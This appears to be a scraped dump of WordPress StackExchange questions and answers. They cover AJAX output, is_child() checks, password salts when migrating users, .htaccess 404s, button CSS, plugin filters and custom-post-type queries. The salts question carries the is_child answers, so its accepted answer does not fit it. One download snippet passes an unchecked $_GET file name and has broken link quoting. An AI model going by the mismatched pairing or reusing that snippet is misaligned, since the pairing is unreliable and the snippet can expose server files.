tr.append('<td class="hidden-xs hidden-sm">' + newData[i].gross_earning + '</td>' ); tr.append('<td class="hidden-xs hidden-sm">' + newData[i].investor_net_commission + '</td>' ); tr.append('<td>' + newData[i].investor_net_earning + '</td>' ); $('#compound_interest_table tbody').append(tr); } }else{ console.log('There is a problem '); } }).fail(function(data){ console.log(data); }); e.preventDefault(); }); ``` The ajax action hook : ``` //handle form submissions function handle_investment_calc(){ include_once('includes/controllers/investment_calculator.php'); } add_action('wp_ajax_calculate_investor_interest', 'handle_investment_calc'); ``` When using pure PHP, HTML and CSS, it works perfectly. The data from the form is sent, a calculation is done (via investment\_calculator.php script) and the results are output to the compound\_interest\_table with no fuss. However, when I transfer the code to a wordpress plugin (as shown above) and try to do ajax the wordpress way, I am not getting any result output. Where am I going wrong? The desired effect is that when I click the Do calculation button, it returns output to the table as above. The investment\_calculator script is ok. UPDATE: After adding the 'action' parameter to the ajax code, it seems that now data is being sent to the investment calc and results are ok (in the console). The results are however not outputting to the table. Console response [![Console response for Ajax Call](https://i.stack.imgur.com/MCsxc.png)](https://i.stack.imgur.com/MCsxc.png) UPDATE 2: Modified the ajax call like this. ``` $.ajax({ type: 'POST', url:'<?php echo admin_url('admin-ajax.php');?>', data:formData, action:'calculate_investor_interest', dataType: 'json', encode:true, complete:function(r){ console.log(r.responseText); var results = r.responseText; var newData = results.reduce(function(collection, element){ var rowData = {}; //create a new empty row element.reduce(function(collection, element){ //put the elements into the row rowData[element[0]] = element[1]; return rowData; }, rowData); collection.push(rowData); //add the row to the results return collection; }, []); var tr; //overwrite data $('#compound_interest_table tbody').empty(); for (var i=0; i<newData.length; i++){ tr = $('<tr/>'); //put datejs library here..... tr.append('<td>' + newData[i].maturity_date + '</td>' ); tr.append('<td>' + newData[i].interest_rate + '</td>' ); tr.append('<td class="hidden-xs hidden-sm">' + newData[i].interest_earned + '</td>' ); tr.append('<td>' + newData[i].management_fee + '</td>' ); tr.append('<td class="hidden-xs hidden-sm">' + newData[i].gross_earning + '</td>' ); tr.append('<td class="hidden-xs hidden-sm">' + newData[i].investor_net_commission + '</td>' ); tr.append('<td>' + newData[i].investor_net_earning + '</td>' ); $('#compound_interest_table tbody').append(tr); } } }); ``` Data is being recieved, thanks to @ Piyush Rawat but there's now a problem with the mapreduce function ('reduce not a function'). how to I solve it
You should create a function in your plugin where you listen to a specific URL or watch for specific parameters. For example to generate the download link: ``` <?php $nonce = wp_create_nonce( 'download-' . $filename ); echo '<a href="/?_wp_nonce="' . $nonce . '&download=' . $filename . '">Some Download</a>'; ?> ``` And to download the file: ``` if ( ! empty( $_GET['_wp_nonce'] ) && ! empty( $_GET['download'] ) && wp_verify_nonce( $_GET['_wp_nonce'], 'download-' . $_GET['download'] ) ) { /* * Check if file exists and then output the right headers and the content of the file */ exit; } ```
285,856
<p>My need is to check if a page is subpage of a page (with ID).</p> <p>I try to get this code working but it doesn't.</p> <pre><code>function is_child($pageID) { global $post; echo $post-&gt;post_parent; // display the right ID! if( is_page() &amp;&amp; $post-&gt;post_parent == $pageID ) { return true; } else { return false; } } </code></pre> <p>It returns always false while <strong>$post->post_parent</strong> returns the right ID!</p> <p>Testing code (which always returns no while $post->$post_parent echoes the good ID in the function):</p> <pre><code>if(is_child(2310)) { echo 'yes'; } else { echo 'no'; } </code></pre> <p>This function takes place in my functions.php file and its purpose is to load CSS through a condition statement (load a particular CSS file if page is X or child of X).</p> <p>This code can be found on many sites around there but was produced in 2012-2013.</p> <p>Thanks a lot for any help.</p> <p>Sources of unworking codes : <a href="https://bavotasan.com/2011/is_child-conditional-function-for-wordpress/" rel="nofollow noreferrer">https://bavotasan.com/2011/is_child-conditional-function-for-wordpress/</a> <a href="https://www.kevinleary.net/wordpress-is_child-for-advanced-navigation/" rel="nofollow noreferrer">https://www.kevinleary.net/wordpress-is_child-for-advanced-navigation/</a></p>
[ { "answer_id": 285866, "author": "Nathan Johnson", "author_id": 106269, "author_profile": "https://wordpress.stackexchange.com/users/106269", "pm_score": 3, "selected": true, "text": "<pre><code>/**\n * Return whether the current page is a child of $id\n *\n * Note: this function must be run after the `wp` hook.\n * Otherwise, the WP_Post object is not set up, and\n * is_page() will return false.\n *\n * @param int $id The post ID of the parent page\n * @return bool Whether the current page is a child page of $id\n */\nfunction is_child_of( $id ) {\n return ( is_page() &amp;&amp; $id === get_post()-&gt;post_parent );\n}\n</code></pre>\n" }, { "answer_id": 285868, "author": "Valentin", "author_id": 85151, "author_profile": "https://wordpress.stackexchange.com/users/85151", "pm_score": 1, "selected": false, "text": "<p>So I did this and it works. But @NathanJohnson answer is nicer.</p>\n\n<pre><code>function is_child($pageID) {\n $parentID = wp_get_post_parent_id(get_the_ID());\n if( is_page() &amp;&amp; $parentID == $pageID ) {\n return true;\n } else {\n return false;\n }\n}\n</code></pre>\n" } ]
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285856", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/85151/" ]
My need is to check if a page is subpage of a page (with ID). I try to get this code working but it doesn't. ``` function is_child($pageID) { global $post; echo $post->post_parent; // display the right ID! if( is_page() && $post->post_parent == $pageID ) { return true; } else { return false; } } ``` It returns always false while **$post->post\_parent** returns the right ID! Testing code (which always returns no while $post->$post\_parent echoes the good ID in the function): ``` if(is_child(2310)) { echo 'yes'; } else { echo 'no'; } ``` This function takes place in my functions.php file and its purpose is to load CSS through a condition statement (load a particular CSS file if page is X or child of X). This code can be found on many sites around there but was produced in 2012-2013. Thanks a lot for any help. Sources of unworking codes : <https://bavotasan.com/2011/is_child-conditional-function-for-wordpress/> <https://www.kevinleary.net/wordpress-is_child-for-advanced-navigation/>
``` /** * Return whether the current page is a child of $id * * Note: this function must be run after the `wp` hook. * Otherwise, the WP_Post object is not set up, and * is_page() will return false. * * @param int $id The post ID of the parent page * @return bool Whether the current page is a child page of $id */ function is_child_of( $id ) { return ( is_page() && $id === get_post()->post_parent ); } ```
285,878
<p>Let me begin by saying I know this is generally advised against but I'm in a tough spot at work where this is essentially being demanded and to my understanding it's theoretically possible.</p> <p>I am tasked with transferring all user data from one WordPress site to another, and one of the stipulations is nobody would have to set a new password.</p> <p>I know there's no chance of dehashing the passwords but I read somewhere yesterday that if you use the same salts in <code>wp-config.php</code> then the passwords should work. I tried this and it didn't do the trick, but that may be due to some weird WPEngine caching or hidden setting, as does happen with them from time to time. What was especially weird is my old password still worked after I did this.</p> <p>I also read that, in addition to the salts in <code>wp-config.php</code>, there are salts stored in the database somewhere that compliment or mirror the ones stored in <code>wp-config.php</code>. That part I don't quite understand and is probably the real question here. Where in the WordPress database are these salts stored?</p> <p>Is there any hope of achieving this?</p>
[ { "answer_id": 285866, "author": "Nathan Johnson", "author_id": 106269, "author_profile": "https://wordpress.stackexchange.com/users/106269", "pm_score": 3, "selected": true, "text": "<pre><code>/**\n * Return whether the current page is a child of $id\n *\n * Note: this function must be run after the `wp` hook.\n * Otherwise, the WP_Post object is not set up, and\n * is_page() will return false.\n *\n * @param int $id The post ID of the parent page\n * @return bool Whether the current page is a child page of $id\n */\nfunction is_child_of( $id ) {\n return ( is_page() &amp;&amp; $id === get_post()-&gt;post_parent );\n}\n</code></pre>\n" }, { "answer_id": 285868, "author": "Valentin", "author_id": 85151, "author_profile": "https://wordpress.stackexchange.com/users/85151", "pm_score": 1, "selected": false, "text": "<p>So I did this and it works. But @NathanJohnson answer is nicer.</p>\n\n<pre><code>function is_child($pageID) {\n $parentID = wp_get_post_parent_id(get_the_ID());\n if( is_page() &amp;&amp; $parentID == $pageID ) {\n return true;\n } else {\n return false;\n }\n}\n</code></pre>\n" } ]
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285878", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131489/" ]
Let me begin by saying I know this is generally advised against but I'm in a tough spot at work where this is essentially being demanded and to my understanding it's theoretically possible. I am tasked with transferring all user data from one WordPress site to another, and one of the stipulations is nobody would have to set a new password. I know there's no chance of dehashing the passwords but I read somewhere yesterday that if you use the same salts in `wp-config.php` then the passwords should work. I tried this and it didn't do the trick, but that may be due to some weird WPEngine caching or hidden setting, as does happen with them from time to time. What was especially weird is my old password still worked after I did this. I also read that, in addition to the salts in `wp-config.php`, there are salts stored in the database somewhere that compliment or mirror the ones stored in `wp-config.php`. That part I don't quite understand and is probably the real question here. Where in the WordPress database are these salts stored? Is there any hope of achieving this?
``` /** * Return whether the current page is a child of $id * * Note: this function must be run after the `wp` hook. * Otherwise, the WP_Post object is not set up, and * is_page() will return false. * * @param int $id The post ID of the parent page * @return bool Whether the current page is a child page of $id */ function is_child_of( $id ) { return ( is_page() && $id === get_post()->post_parent ); } ```
285,879
<p>I have a question similar to <a href="https://wordpress.stackexchange.com/questions/274786/how-can-i-run-a-php-file-located-in-my-sites-root-folder">this one</a>: </p> <p>I have created a small PHP program that I want to call as a rest web service to return some data from custom MySQL tables. </p> <p>I can put it anywhere, but I've tried the root folder (public_html), a folder I creatd called custom, and the cgi-bin folder. </p> <p>For the first two, I get 404 not found. For the CGI-BIN it looks like it redirects to my home page. </p> <p>I've set it with CHMOD to 755 (and the custom folder as well). </p> <p>My .htaccess looks like this. I think maybe it needs to change somehow? </p> <pre><code># BEGIN WordPress &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] &lt;/IfModule&gt; # END WordPress </code></pre>
[ { "answer_id": 285883, "author": "Lovin Nagi", "author_id": 102970, "author_profile": "https://wordpress.stackexchange.com/users/102970", "pm_score": 1, "selected": false, "text": "<p>Move Wordpress from root folder into subdirectory and create a <code>.htaccess</code> file in root folder, and put this content inside (just change example.com and my_subdir):</p>\n\n<pre>\nRewriteEngine on\nRewriteCond %{HTTP_HOST} ^(www.)?example.com$\nRewriteCond %{REQUEST_URI} !^/my_subdir/\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule ^(.*)$ /my_subdir/$1\nRewriteCond %{HTTP_HOST} ^(www.)?example.com$\nRewriteRule ^(/)?$ my_subdir/index.php [L] \n</pre>\n\n<p>That's all :)</p>\n" }, { "answer_id": 285886, "author": "NealWalters", "author_id": 2550, "author_profile": "https://wordpress.stackexchange.com/users/2550", "pm_score": 1, "selected": true, "text": "<p>Okay, I think I was mislead by this... I didn't read the code thoroughly that I cloned. It sets a 404 if the SQL fails. Duh! I also discovered a file called /custom/error_log that I think is going to help debug that. </p>\n\n<pre><code>// die if SQL statement failed\nif (!$result) {\n http_response_code(404);\n die(mysqli_error());\n}\n</code></pre>\n" } ]
2017/11/14
[ "https://wordpress.stackexchange.com/questions/285879", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/2550/" ]
I have a question similar to [this one](https://wordpress.stackexchange.com/questions/274786/how-can-i-run-a-php-file-located-in-my-sites-root-folder): I have created a small PHP program that I want to call as a rest web service to return some data from custom MySQL tables. I can put it anywhere, but I've tried the root folder (public\_html), a folder I creatd called custom, and the cgi-bin folder. For the first two, I get 404 not found. For the CGI-BIN it looks like it redirects to my home page. I've set it with CHMOD to 755 (and the custom folder as well). My .htaccess looks like this. I think maybe it needs to change somehow? ``` # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> # END WordPress ```
Okay, I think I was mislead by this... I didn't read the code thoroughly that I cloned. It sets a 404 if the SQL fails. Duh! I also discovered a file called /custom/error\_log that I think is going to help debug that. ``` // die if SQL statement failed if (!$result) { http_response_code(404); die(mysqli_error()); } ```
285,911
<p>I am using a plugin which has the following code for a button:</p> <pre><code>&lt;a class="bwg_load_btn_1 bwg_load_btn" href="javascript:void(0);"&gt;Load More...&lt;/a&gt; </code></pre> <p>I would like to increase the size of the font used for the text to be 16x. How do I do this? I believe I need to add code to my style.css for my theme but I am not 100% sure what to add.</p> <p>Thank you in advance</p>
[ { "answer_id": 285915, "author": "HeroWeb512", "author_id": 102280, "author_profile": "https://wordpress.stackexchange.com/users/102280", "pm_score": 3, "selected": true, "text": "<p>You can solve this in two ways</p>\n\n<h1>No.1 to find the 'a' tag with class name ' bwg_load_btn_1 bwg_load_btn ' in your plugin and add inline style like this</h1>\n\n<pre><code>&lt;a class=\"bwg_load_btn_1 bwg_load_btn\" href=\"javascript:void(0);\" style=\"font-size:16px;\"&gt;Load More...&lt;/a&gt;\n</code></pre>\n\n<h1>2nd in your style.css add font-size for this class with !important,</h1>\n\n<pre><code> .bwg_load_btn_1.bwg_load_btn{\n /* !important will override the style */\n font-size:16px !important;\n }\n</code></pre>\n" }, { "answer_id": 285927, "author": "Kristian Kalvå", "author_id": 97184, "author_profile": "https://wordpress.stackexchange.com/users/97184", "pm_score": 0, "selected": false, "text": "<p>If you install Jetpack you'll be able to write custom CSS to be loaded after any other css. I'm sure there are other plugins which will do just the css injection if you don't want the full Jetpack. Or you could add the css to your own theme css.</p>\n\n<p>You'll want to add something like the following in order to change the font size:</p>\n\n<pre><code>.bwg_load_btn_1 {\n font-size: 2em;\n}\n</code></pre>\n\n<p>It's a bit challenging to say exactly what will work without seeing the css for the btn itself, but the code over should work. Alternatively you can chain the selector with itself in order to increase the specificity:</p>\n\n<pre><code>.bwg_load_btn_1.bwg_load_btn_1.bwg_load_btn_1 {}\n</code></pre>\n\n<p>Don't use !important if you don't need to, you'll just introduce more problems for yourself than you need. That said, if the plugin uses !important to style the button, you'll need to use !important yourself.</p>\n" }, { "answer_id": 285928, "author": "HU is Sebastian", "author_id": 56587, "author_profile": "https://wordpress.stackexchange.com/users/56587", "pm_score": 0, "selected": false, "text": "<p>As long as there are no \"!important\"s in the plugins css, the best practice would be to stick to the golden rule of css: </p>\n\n<p>the more specific the rule, the more important it is.</p>\n\n<p>So, if you want to overwrite a rule, put a rule in your css that is more specific in the selectors.\nIf the plugins.css says</p>\n\n<pre><code>.bwg_load_btn_1.bwg_load_btn {\n font-size:12px;\n}\n</code></pre>\n\n<p>then you can \"outspecify\" this rule by using for example</p>\n\n<pre><code>body .bwg_load_btn_1.bwg_load_btn {\n font-size:16px;\n}\n</code></pre>\n\n<p>No need for additional plugins or importants.</p>\n" }, { "answer_id": 286260, "author": "Juan Carlos Chavez", "author_id": 130046, "author_profile": "https://wordpress.stackexchange.com/users/130046", "pm_score": 0, "selected": false, "text": "<p>A simply solution is to click on Customize on the Dashboard Menu under Appearance, after it switches you can add any custom CSS to where it says Additional CSS. It will automatically override.</p>\n\n<p>I think the benefit of doing this for new developers is that you are able to save the CSS modifications here, whereas if you modify the style.css directly and forget to save it, you could forget and lost it later when updating the theme. </p>\n\n<p>For this reason, it's better to place Custom CSS in the above mentioned place, or in the Custom CSS Option provided by your particular Theme's Options.</p>\n" } ]
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285911", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/80040/" ]
I am using a plugin which has the following code for a button: ``` <a class="bwg_load_btn_1 bwg_load_btn" href="javascript:void(0);">Load More...</a> ``` I would like to increase the size of the font used for the text to be 16x. How do I do this? I believe I need to add code to my style.css for my theme but I am not 100% sure what to add. Thank you in advance
You can solve this in two ways No.1 to find the 'a' tag with class name ' bwg\_load\_btn\_1 bwg\_load\_btn ' in your plugin and add inline style like this =========================================================================================================================== ``` <a class="bwg_load_btn_1 bwg_load_btn" href="javascript:void(0);" style="font-size:16px;">Load More...</a> ``` 2nd in your style.css add font-size for this class with !important, =================================================================== ``` .bwg_load_btn_1.bwg_load_btn{ /* !important will override the style */ font-size:16px !important; } ```
285,942
<p>How can I override add_filter of a plugin?</p> <p><strong>like</strong> </p> <pre><code>add_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 10, 4 ); </code></pre> <p>I want to use my custom function instead "cart_switching_currency" function.</p>
[ { "answer_id": 285943, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 1, "selected": false, "text": "<p>You can use <a href=\"https://developer.wordpress.org/reference/functions/remove_filter/\" rel=\"nofollow noreferrer\"><code>remove_filter</code></a> to remove a filter, and then add your own filter to that hook. For example:</p>\n\n<pre><code>remove_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 10 );\n\nadd_filter( 'wcml_switch_currency_exception', 'my_function', 10, 4 );\n</code></pre>\n" }, { "answer_id": 285944, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 2, "selected": false, "text": "<p>Filters come with a priority parameter, the default is 10, so to override a function you need to increase the priority:</p>\n\n<pre><code>add_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 99, 4 );\n</code></pre>\n\n<blockquote>\n <p>add_filter( string $tag, callable $function_to_add, int $priority =\n 10, int $accepted_args = 1 )</p>\n</blockquote>\n\n<p>More info in the <a href=\"https://developer.wordpress.org/reference/functions/add_filter/\" rel=\"nofollow noreferrer\">add_filter</a></p>\n\n<p>Update:</p>\n\n<p>If removing a filter is not working you may try this approach:</p>\n\n<pre><code>function remove_cart_switching_currency_filter(){\n remove_filter('wcml_switch_currency_exception', 'cart_switching_currency', 10, 4);\n}\nadd_action( 'after_setup_theme', 'remove_cart_switching_currency_filter' );\n</code></pre>\n\n<p><strong>Important is that the priorities must match.</strong></p>\n\n<p>More info about <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/after_setup_theme\" rel=\"nofollow noreferrer\">after_setup_theme</a></p>\n" } ]
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285942", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/128045/" ]
How can I override add\_filter of a plugin? **like** ``` add_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 10, 4 ); ``` I want to use my custom function instead "cart\_switching\_currency" function.
Filters come with a priority parameter, the default is 10, so to override a function you need to increase the priority: ``` add_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 99, 4 ); ``` > > add\_filter( string $tag, callable $function\_to\_add, int $priority = > 10, int $accepted\_args = 1 ) > > > More info in the [add\_filter](https://developer.wordpress.org/reference/functions/add_filter/) Update: If removing a filter is not working you may try this approach: ``` function remove_cart_switching_currency_filter(){ remove_filter('wcml_switch_currency_exception', 'cart_switching_currency', 10, 4); } add_action( 'after_setup_theme', 'remove_cart_switching_currency_filter' ); ``` **Important is that the priorities must match.** More info about [after\_setup\_theme](https://codex.wordpress.org/Plugin_API/Action_Reference/after_setup_theme)
285,955
<p>So, what I am trying to do is creating a slideshow plugin that won't require end user to write a single line of code. I can't use custom posts because I need to keep it simple for the end user.</p> <p>Is there a hook or a filter that would let me include my php generated code right after the </p> <blockquote> <p>body_class() ?</p> </blockquote> <p>Is it true that the only hook I can use is </p> <blockquote> <p>the_content() ?</p> </blockquote> <p>Thank you.</p>
[ { "answer_id": 285943, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 1, "selected": false, "text": "<p>You can use <a href=\"https://developer.wordpress.org/reference/functions/remove_filter/\" rel=\"nofollow noreferrer\"><code>remove_filter</code></a> to remove a filter, and then add your own filter to that hook. For example:</p>\n\n<pre><code>remove_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 10 );\n\nadd_filter( 'wcml_switch_currency_exception', 'my_function', 10, 4 );\n</code></pre>\n" }, { "answer_id": 285944, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 2, "selected": false, "text": "<p>Filters come with a priority parameter, the default is 10, so to override a function you need to increase the priority:</p>\n\n<pre><code>add_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 99, 4 );\n</code></pre>\n\n<blockquote>\n <p>add_filter( string $tag, callable $function_to_add, int $priority =\n 10, int $accepted_args = 1 )</p>\n</blockquote>\n\n<p>More info in the <a href=\"https://developer.wordpress.org/reference/functions/add_filter/\" rel=\"nofollow noreferrer\">add_filter</a></p>\n\n<p>Update:</p>\n\n<p>If removing a filter is not working you may try this approach:</p>\n\n<pre><code>function remove_cart_switching_currency_filter(){\n remove_filter('wcml_switch_currency_exception', 'cart_switching_currency', 10, 4);\n}\nadd_action( 'after_setup_theme', 'remove_cart_switching_currency_filter' );\n</code></pre>\n\n<p><strong>Important is that the priorities must match.</strong></p>\n\n<p>More info about <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/after_setup_theme\" rel=\"nofollow noreferrer\">after_setup_theme</a></p>\n" } ]
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285955", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/4107/" ]
So, what I am trying to do is creating a slideshow plugin that won't require end user to write a single line of code. I can't use custom posts because I need to keep it simple for the end user. Is there a hook or a filter that would let me include my php generated code right after the > > body\_class() ? > > > Is it true that the only hook I can use is > > the\_content() ? > > > Thank you.
Filters come with a priority parameter, the default is 10, so to override a function you need to increase the priority: ``` add_filter( 'wcml_switch_currency_exception', 'cart_switching_currency', 99, 4 ); ``` > > add\_filter( string $tag, callable $function\_to\_add, int $priority = > 10, int $accepted\_args = 1 ) > > > More info in the [add\_filter](https://developer.wordpress.org/reference/functions/add_filter/) Update: If removing a filter is not working you may try this approach: ``` function remove_cart_switching_currency_filter(){ remove_filter('wcml_switch_currency_exception', 'cart_switching_currency', 10, 4); } add_action( 'after_setup_theme', 'remove_cart_switching_currency_filter' ); ``` **Important is that the priorities must match.** More info about [after\_setup\_theme](https://codex.wordpress.org/Plugin_API/Action_Reference/after_setup_theme)
285,961
<p>I have some trouble with Divi plugin. I need to change icon using content in css. I add font awesome by cdn(it works on website e.g. <code>&lt;i class="fa fa-eercast" aria-hidden="true"&gt;&lt;/i&gt;</code> displays properly) but now I want to change existing icon from rss to instagram by changing a:before content to instagram code: <code>et-social-rss .icon:before{content:'\f16d'}</code> and it doesn't display icon. Any advice?</p>
[ { "answer_id": 285962, "author": "Lovin Nagi", "author_id": 102970, "author_profile": "https://wordpress.stackexchange.com/users/102970", "pm_score": -1, "selected": false, "text": "<p>you don't need to change css code, you can simply change the class to \"fa fa-instagram\" e.g:<code>&lt;i class=\"fa fa-instagram\" aria-hidden=\"true\"&gt;&lt;/i&gt;</code></p>\n" }, { "answer_id": 285965, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 1, "selected": false, "text": "<p>In addition to content, you also need to specify font family. Otherwise the browser will use whatever font Divi has assigned to that icon, which is probably not Font Awesome.</p>\n\n<pre><code>.get-social-rss .icon:before {\n content: '\\f16d';\n font-family: FontAwesome;\n}\n</code></pre>\n" } ]
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285961", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131177/" ]
I have some trouble with Divi plugin. I need to change icon using content in css. I add font awesome by cdn(it works on website e.g. `<i class="fa fa-eercast" aria-hidden="true"></i>` displays properly) but now I want to change existing icon from rss to instagram by changing a:before content to instagram code: `et-social-rss .icon:before{content:'\f16d'}` and it doesn't display icon. Any advice?
In addition to content, you also need to specify font family. Otherwise the browser will use whatever font Divi has assigned to that icon, which is probably not Font Awesome. ``` .get-social-rss .icon:before { content: '\f16d'; font-family: FontAwesome; } ```
285,967
<p>I've created a custom post type called 'award': </p> <pre><code>function award_post_type() { $labels = array( 'name' =&gt; 'Awards', 'singular_name' =&gt; 'Award' ); $args = array( 'labels' =&gt; $labels, 'public' =&gt; true, 'has_archive' =&gt; true, 'supports' =&gt; array( 'title', 'editor', 'excerpt' ) ); register_post_type( 'award', $args ); } add_action( 'init', 'award_post_type' ); </code></pre> <p>Now I am in the award post type's page archive, and I'm trying to display a list of awards ordered by the awards' deadlines (which are stored in a custom field). Next posts should be loaded via AJAX at the click of a 'Load More' button. </p> <p>First thing I did was alter the main query using <code>pre_get_posts</code>: </p> <pre><code>function order_by_deadline( $query ) { if ( ! is_admin() &amp;&amp; is_post_type_archive( 'award' ) ) { if( $query-&gt;is_main_query() ) { $query-&gt;set( 'orderby', 'deadline' ); $query-&gt;set( 'meta_key', 'deadline' ); } } } add_action( 'pre_get_posts', 'order_by_deadline' ); </code></pre> <p>This works okay. But <strong>when I try to load the next posts using AJAX, no results are shown</strong>. Here's the action I pass to the AJAX call, which includes the custom WP_Query I've created to call the new posts:</p> <pre><code>function load_next_awards() { // The number of the page is received from an attribute of the Load More button. I'm 100% sure this has nothing to do with the issues I'm having, so just ignore it. $page = $_POST[ 'page' ]; $args = array( 'paged' =&gt; $page, 'post_type' =&gt; 'award', 'post_status' =&gt; 'publish' 'post__not_in' =&gt; get_option( 'sticky_posts' ), 'orderby' =&gt; 'meta_value_num', 'meta_key' =&gt; 'deadline' ); $next_posts = new WP_Query( $args ); if( $next_posts-&gt;have_posts() ) : while( $next_posts-&gt;have_posts() ) : the_post(); get_template_part( 'views/post/content', get_post_format() ); endwhile; endif; wp_reset_postdata(); die(); } </code></pre> <p>I'm at a loss of ideas. The custom WP_Query looks correct to me, but it returns no results when I click on 'Load More'. If I change the <code>post_type</code>parameter to <code>post</code> or <code>page</code> instead, it does correctly show my posts and pages. </p>
[ { "answer_id": 285968, "author": "Welcher", "author_id": 27210, "author_profile": "https://wordpress.stackexchange.com/users/27210", "pm_score": 0, "selected": false, "text": "<p>Try initializing the post with <code>$next_posts-&gt;the_post()</code> instead of just <code>the_post()</code>. <code>the_post</code> by itself will try to use the main query and in this context there isn't one.</p>\n" }, { "answer_id": 285974, "author": "Celso Bessa", "author_id": 22694, "author_profile": "https://wordpress.stackexchange.com/users/22694", "pm_score": 0, "selected": false, "text": "<p>If you are using AJAX, you gotta control your output to \"spit\" the context only once. And whenever you use a template part or any other functions that print content, it will probably output several times (either by using <code>echo</code>, <code>_e</code> or even HTML markup).</p>\n\n<p>In cases like this you must use the output buffer. Basically, you will put all your content in this buffer instead of printing it and after all processing, you finally outputs/prints it.</p>\n\n<p><a href=\"http://www.hackingwithphp.com/13/3/0/getting-started\" rel=\"nofollow noreferrer\">Here</a> you can find good reference of using it and [here the PHP manual page] about it <a href=\"https://secure.php.net/manual/en/book.outcontrol.php\" rel=\"nofollow noreferrer\">2</a>.</p>\n\n<p>Your functions would be something like this:</p>\n\n<pre><code>function load_next_awards() { \n\n // The number of the page is received from an attribute of the Load More button. I'm 100% sure this has nothing to do with the issues I'm having, so just ignore it.\n $page = $_POST[ 'page' ]; \n\n $args = array(\n 'paged' =&gt; $page, \n 'post_type' =&gt; array( 'award' ),\n 'post_status' =&gt; 'publish'\n 'post__not_in' =&gt; get_option( 'sticky_posts' ),\n 'orderby' =&gt; 'meta_value_num',\n 'meta_key' =&gt; 'deadline'\n );\n\n $next_posts = new WP_Query( $args ); \n\n if( $next_posts-&gt;have_posts() ) : \n //initiates output buffer\n ob_start();\n while( $next_posts-&gt;have_posts() ) : $next_posts-&gt;the_post(); \n get_template_part( 'views/post/content', get_post_format() );\n endwhile;\n\n // clean outbut buffer (ob) after assigning it's contents to a variable\n $html = ob_get_clean();\n endif;\n\n wp_reset_postdata();\n\n // echo cached html markup and leave function\n echo $html;\n\n die();\n\n} \n</code></pre>\n\n<p>Let me know if it helps.</p>\n" }, { "answer_id": 286174, "author": "grazdev", "author_id": 129417, "author_profile": "https://wordpress.stackexchange.com/users/129417", "pm_score": 3, "selected": true, "text": "<p>I've found the solution. The problem was I had a different number set for the <code>posts_per_page</code> parameter in the initial query and in the custom query I make via AJAX. In the code I provided <code>posts_per_page</code> is not even there because I'm using a few nested classes, so I've posted a stripped-down version of the code for simplicity. I was sure the issues was with custom post types, never thought using different <code>posts_per_page</code> could cause a problem. Apologies about that. </p>\n\n<p>So yeah, if you're running into the same problem make sure that your <code>posts_per_page</code> is the same for all your queries!</p>\n" } ]
2017/11/15
[ "https://wordpress.stackexchange.com/questions/285967", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129417/" ]
I've created a custom post type called 'award': ``` function award_post_type() { $labels = array( 'name' => 'Awards', 'singular_name' => 'Award' ); $args = array( 'labels' => $labels, 'public' => true, 'has_archive' => true, 'supports' => array( 'title', 'editor', 'excerpt' ) ); register_post_type( 'award', $args ); } add_action( 'init', 'award_post_type' ); ``` Now I am in the award post type's page archive, and I'm trying to display a list of awards ordered by the awards' deadlines (which are stored in a custom field). Next posts should be loaded via AJAX at the click of a 'Load More' button. First thing I did was alter the main query using `pre_get_posts`: ``` function order_by_deadline( $query ) { if ( ! is_admin() && is_post_type_archive( 'award' ) ) { if( $query->is_main_query() ) { $query->set( 'orderby', 'deadline' ); $query->set( 'meta_key', 'deadline' ); } } } add_action( 'pre_get_posts', 'order_by_deadline' ); ``` This works okay. But **when I try to load the next posts using AJAX, no results are shown**. Here's the action I pass to the AJAX call, which includes the custom WP\_Query I've created to call the new posts: ``` function load_next_awards() { // The number of the page is received from an attribute of the Load More button. I'm 100% sure this has nothing to do with the issues I'm having, so just ignore it. $page = $_POST[ 'page' ]; $args = array( 'paged' => $page, 'post_type' => 'award', 'post_status' => 'publish' 'post__not_in' => get_option( 'sticky_posts' ), 'orderby' => 'meta_value_num', 'meta_key' => 'deadline' ); $next_posts = new WP_Query( $args ); if( $next_posts->have_posts() ) : while( $next_posts->have_posts() ) : the_post(); get_template_part( 'views/post/content', get_post_format() ); endwhile; endif; wp_reset_postdata(); die(); } ``` I'm at a loss of ideas. The custom WP\_Query looks correct to me, but it returns no results when I click on 'Load More'. If I change the `post_type`parameter to `post` or `page` instead, it does correctly show my posts and pages.
